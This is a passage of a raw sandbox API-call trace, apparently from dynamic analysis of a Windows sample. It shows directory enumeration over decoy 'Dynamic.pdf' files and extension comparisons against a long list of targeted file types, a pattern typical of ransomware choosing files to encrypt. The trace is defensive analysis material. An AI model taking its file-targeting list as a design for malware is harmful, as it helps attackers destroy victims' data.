nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.720] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.799] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.799] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.805] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.805] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.808] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.808] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.812] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.813] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.815] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.815] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.818] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.818] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.824] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.824] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.829] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.829] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.836] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.837] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0267.344] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.344] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0267.462] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.462] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0267.463] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1 [0267.464] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1 [0267.464] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1 [0267.464] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1 [0267.464] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1 [0267.464] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1 [0267.464] lstrcmpiW (lpString1=".accda", lpString2="ic.pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".accdb", lpString2="ic.pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".accdc", lpString2="ic.pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".accde", lpString2="ic.pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".accdt", lpString2="ic.pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".accdw", lpString2="ic.pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1 [0267.465] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1 [0267.466] lstrcmpiW (lpString1=".anim", lpString2="c.pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".ascx", lpString2="c.pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1 [0267.467] lstrcmpiW (lpString1=".asmx", lpString2="c.pdf") returned -1 [0267.468] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1 [0267.468] lstrcmpiW (lpString1=".aspx", lpString2="c.pdf") returned -1 [0267.468] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1 [0267.468] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1 [0267.468] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1 [0267.468] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".backup", lpString2="mic.pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".bak", lpString2=".pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".bay", lpString2=".pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".bd", lpString2="pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".bin", lpString2=".pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".bmp", lpString2=".pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".bz2", lpString2=".pdf") returned -1 [0267.469] lstrcmpiW (lpString1=".c", lpString2="df") returned -1 [0267.470] lstrcmpiW (lpString1=".cdr", lpString2=".pdf") returned -1 [0267.470] lstrcmpiW (lpString1=".cer", lpString2=".pdf") returned -1 [0267.470] lstrcmpiW (lpString1=".cf", lpString2="pdf") returned -1 [0267.470] lstrcmpiW (lpString1=".cfc", lpString2=".pdf") returned -1 [0267.470] lstrcmpiW (lpString1=".cfm", lpString2=".pdf") returned -1 [0267.470] lstrcmpiW (lpString1=".cfml", lpString2="c.pdf") returned -1 [0267.471] lstrcmpiW (lpString1=".cfu", lpString2=".pdf") returned -1 [0267.471] lstrcmpiW (lpString1=".chm", lpString2=".pdf") returned -1 [0267.471] lstrcmpiW (lpString1=".cin", lpString2=".pdf") returned -1 [0267.471] lstrcmpiW (lpString1=".class", lpString2="ic.pdf") returned -1 [0267.471] lstrcmpiW (lpString1=".clx", lpString2=".pdf") returned -1 [0267.472] lstrcmpiW (lpString1=".config", lpString2="mic.pdf") returned -1 [0267.472] lstrcmpiW (lpString1=".cpp", lpString2=".pdf") returned -1 [0267.472] lstrcmpiW (lpString1=".cr2", lpString2=".pdf") returned -1 [0267.472] lstrcmpiW (lpString1=".crt", lpString2=".pdf") returned -1 [0267.473] lstrcmpiW (lpString1=".crw", lpString2=".pdf") returned -1 [0267.473] lstrcmpiW (lpString1=".cs", lpString2="pdf") returned -1 [0267.473] lstrcmpiW (lpString1=".css", lpString2=".pdf") returned -1 [0267.473] lstrcmpiW (lpString1=".csv", lpString2=".pdf") returned -1 [0267.473] lstrcmpiW (lpString1=".cub", lpString2=".pdf") returned -1 [0267.473] lstrcmpiW (lpString1=".dae", lpString2=".pdf") returned -1 [0267.474] lstrcmpiW (lpString1=".dat", lpString2=".pdf") returned -1 [0267.474] lstrcmpiW (lpString1=".db", lpString2="pdf") returned -1 [0267.474] lstrcmpiW (lpString1=".dbf", lpString2=".pdf") returned -1 [0267.474] lstrcmpiW (lpString1=".dbx", lpString2=".pdf") returned -1 [0267.474] lstrcmpiW (lpString1=".dc3", lpString2=".pdf") returned -1 [0267.474] lstrcmpiW (lpString1=".dcm", lpString2=".pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".dcr", lpString2=".pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".der", lpString2=".pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".dib", lpString2=".pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".dic", lpString2=".pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".dif", lpString2=".pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".divx", lpString2="c.pdf") returned -1 [0267.475] lstrcmpiW (lpString1=".djvu", lpString2="c.pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".dng", lpString2=".pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".doc", lpString2=".pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".docm", lpString2="c.pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".docx", lpString2="c.pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".dot", lpString2=".pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".dotm", lpString2="c.pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".dotx", lpString2="c.pdf") returned -1 [0267.476] lstrcmpiW (lpString1=".dpx", lpString2=".pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dqy", lpString2=".pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dsn", lpString2=".pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dt", lpString2="pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dtd", lpString2=".pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dwg", lpString2=".pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dwt", lpString2=".pdf") returned -1 [0267.477] lstrcmpiW (lpString1=".dx", lpString2="pdf") returned -1 [0267.478] lstrcmpiW (lpString1=".dxf", lpString2=".pdf") returned -1 [0267.478] lstrcmpiW (lpString1=".edml", lpString2="c.pdf") returned -1 [0267.478] lstrcmpiW (lpString1=".efd", lpString2=".pdf") returned -1 [0267.478] lstrcmpiW (lpString1=".elf", lpString2=".pdf") returned -1 [0267.478] lstrcmpiW (lpString1=".emf", lpString2=".pdf") returned -1 [0267.478] lstrcmpiW (lpString1=".emz", lpString2=".pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".epf", lpString2=".pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".eps", lpString2=".pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".epsf", lpString2="c.pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".epsp", lpString2="c.pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".erf", lpString2=".pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".exr", lpString2=".pdf") returned -1 [0267.479] lstrcmpiW (lpString1=".f4v", lpString2=".pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".fido", lpString2="c.pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".flm", lpString2=".pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".flv", lpString2=".pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".frm", lpString2=".pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".fxg", lpString2=".pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".geo", lpString2=".pdf") returned -1 [0267.480] lstrcmpiW (lpString1=".gif", lpString2=".pdf") returned -1 [0267.481] lstrcmpiW (lpString1=".grs", lpString2=".pdf") returned -1 [0267.481] lstrcmpiW (lpString1=".gz", lpString2="pdf") returned -1 [0267.481] lstrcmpiW (lpString1=".h", lpString2="df") returned -1 [0267.481] lstrcmpiW (lpString1=".hdr", lpString2=".pdf") returned -1 [0267.481] lstrcmpiW (lpString1=".hpp", lpString2=".pdf") returned -1 [0267.481] lstrcmpiW (lpString1=".hta", lpString2=".pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".htc", lpString2=".pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".htm", lpString2=".pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".html", lpString2="c.pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".icb", lpString2=".pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".ics", lpString2=".pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".iff", lpString2=".pdf") returned -1 [0267.482] lstrcmpiW (lpString1=".inc", lpString2=".pdf") returned -1 [0267.483] lstrcmpiW (lpString1=".indd", lpString2="c.pdf") returned -1 [0267.483] lstrcmpiW (lpString1=".ini", lpString2=".pdf") returned -1 [0267.483] lstrcmpiW (lpString1=".iqy", lpString2=".pdf") returned -1 [0267.483] lstrcmpiW (lpString1=".j2c", lpString2=".pdf") returned -1 [0267.483] lstrcmpiW (lpString1=".j2k", lpString2=".pdf") returned -1 [0267.483] lstrcmpiW (lpString1=".java", lpString2="c.pdf") returned -1 [0267.484] lstrcmpiW (lpString1=".jp2", lpString2=".pdf") returned -1 [0267.484] lstrcmpiW (lpString1=".jpc", lpString2=".pdf") returned -1 [0267.484] lstrcmpiW (lpString1=".jpe", lpString2=".pdf") returned -1 [0267.484] lstrcmpiW (lpString1=".jpeg", lpString2="c.pdf") returned -1 [0267.484] lstrcmpiW (lpString1=".jpf", lpString2=".pdf") returned -1 [0267.484] lstrcmpiW (lpString1=".jpg", lpString2=".pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".jpx", lpString2=".pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".js", lpString2="pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".jsf", lpString2=".pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".json", lpString2="c.pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".jsp", lpString2=".pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".kdc", lpString2=".pdf") returned -1 [0267.485] lstrcmpiW (lpString1=".kmz", lpString2=".pdf") returned -1 [0267.486] lstrcmpiW (lpString1=".kwm", lpString2=".pdf") returned -1 [0267.486] lstrcmpiW (lpString1=".lasso", lpString2="ic.pdf") returned -1 [0267.486] lstrcmpiW (lpString1=".lbi", lpString2=".pdf") returned -1 [0267.486] lstrcmpiW (lpString1=".lgf", lpString2=".pdf") returned -1 [0267.486] lstrcmpiW (lpString1=".lgp", lpString2=".pdf") returned -1 [0267.486] lstrcmpiW (lpString1=".log", lpString2=".pdf") returned -1 [0267.487] lstrcmpiW (lpString1=".m1v", lpString2=".pdf") returned -1 [0267.487] lstrcmpiW (lpString1=".m4a", lpString2=".pdf") returned -1 [0267.487] lstrcmpiW (lpString1=".m4v", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".max", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".md", lpString2="pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".mda", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".mdb", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".mde", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".mdf", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".mdw", lpString2=".pdf") returned -1 [0267.488] lstrcmpiW (lpString1=".mef", lpString2=".pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mft", lpString2=".pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mfw", lpString2=".pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mht", lpString2=".pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mhtml", lpString2="ic.pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mka", lpString2=".pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mkidx", lpString2="ic.pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mkv", lpString2=".pdf") returned -1 [0267.489] lstrcmpiW (lpString1=".mos", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mov", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mp3", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mp4", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mpeg", lpString2="c.pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mpg", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mpv", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".mrw", lpString2=".pdf") returned -1 [0267.490] lstrcmpiW (lpString1=".msg", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".mxl", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".myd", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".myi", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".nef", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".nrw", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".obj", lpString2=".pdf") returned -1 [0267.491] lstrcmpiW (lpString1=".odb", lpString2=".pdf") returned -1 [0267.492] lstrcmpiW (lpString1=".odc", lpString2=".pdf") returned -1 [0267.492] lstrcmpiW (lpString1=".odm", lpString2=".pdf") returned -1 [0267.492] lstrcmpiW (lpString1=".odp", lpString2=".pdf") returned -1 [0267.492] lstrcmpiW (lpString1=".ods", lpString2=".pdf") returned -1 [0267.492] lstrcmpiW (lpString1=".oft", lpString2=".pdf") returned -1 [0267.492] lstrcmpiW (lpString1=".one", lpString2=".pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".onepkg", lpString2="mic.pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".onetoc2", lpString2="amic.pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".opt", lpString2=".pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".oqy", lpString2=".pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".orf", lpString2=".pdf") returned -1 [0267.493] lstrcmpiW (lpString1=".p12", 